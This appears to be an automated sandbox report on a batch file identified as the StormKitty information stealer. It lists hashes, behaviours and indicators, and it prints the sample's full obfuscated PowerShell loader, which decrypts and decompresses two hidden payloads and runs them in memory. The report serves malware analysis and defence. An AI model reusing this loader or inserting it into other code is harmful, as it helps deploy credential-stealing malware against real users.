Analysis
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max time kernel
93s -
max time network
94s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
07-08-2024 17:13
Static task
static1
Behavioral task
behavioral1
Sample
1 (3).bat
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
1 (3).bat
Resource
win10v2004-20240802-en
General
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Target
1 (3).bat
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Size
5.0MB
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MD5
c8a15e928d8716c074a207383132fdee
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SHA1
722aab3f5a84f86206b3dafc8d646356f1a9fa8f
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SHA256
43b71ff866714a9281c6443c83b2d9b8adb3ba10c36a7edceed9ceb2ea03ae9c
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SHA512
570b31953a996a4f09eb19094463e06aad7768d352b26eaf93d0218e725fecd9b1847f7eb3b5316d476c750258995121a0e3f30937615579431ae91addea9f53
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SSDEEP
24576:uJmEVc1z91hmGDRSxkI7ZkgSd8cNuT4YBymha85MqsmThzY0HKh+3tHnZo1tLRll:uOxmqRUbR57NHHy1mtxaV
Malware Config
Signatures
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StormKitty
StormKitty is an open source info stealer written in C#.
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StormKitty payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/2328-17-0x000001E0E7FE0000-0x000001E0E81AE000-memory.dmp family_stormkitty -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 15 2328 powershell.exe 17 2328 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 14 icanhazip.com -
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
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Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
powershell.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0 powershell.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 2328 powershell.exe 2328 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2328 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
cmd.exedescription pid process target process PID 4228 wrote to memory of 3784 4228 cmd.exe cmd.exe PID 4228 wrote to memory of 3784 4228 cmd.exe cmd.exe PID 4228 wrote to memory of 2328 4228 cmd.exe powershell.exe PID 4228 wrote to memory of 2328 4228 cmd.exe powershell.exe
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1 (3).bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4228 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0rjlbZXI4wI0ciuar5m++D5+J76klQrlAvbqJ43Iy4Y='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1usa/uKScJKM8/1+YdulaA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DDGsT=New-Object System.IO.MemoryStream(,$param_var); $CWqVT=New-Object System.IO.MemoryStream; $PJdiV=New-Object System.IO.Compression.GZipStream($DDGsT, [IO.Compression.CompressionMode]::Decompress); $PJdiV.CopyTo($CWqVT); $PJdiV.Dispose(); $DDGsT.Dispose(); $CWqVT.Dispose(); $CWqVT.ToArray();}function execute_function($param_var,$param2_var){ $YPAVW=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $qHQpi=$YPAVW.EntryPoint; $qHQpi.Invoke($null, $param2_var);}$wtInT = 'C:\Users\Admin\AppData\Local\Temp\1 (3).bat';$host.UI.RawUI.WindowTitle = $wtInT;$VvHgl=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($wtInT).Split([Environment]::NewLine);foreach ($mXdOf in $VvHgl) { if ($mXdOf.StartsWith('tPqKmfSeuKbxOPBqzcVB')) { $Sdscq=$mXdOf.Substring(20); break; }}$payloads_var=[string[]]$Sdscq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "2⤵PID:3784
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2328
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82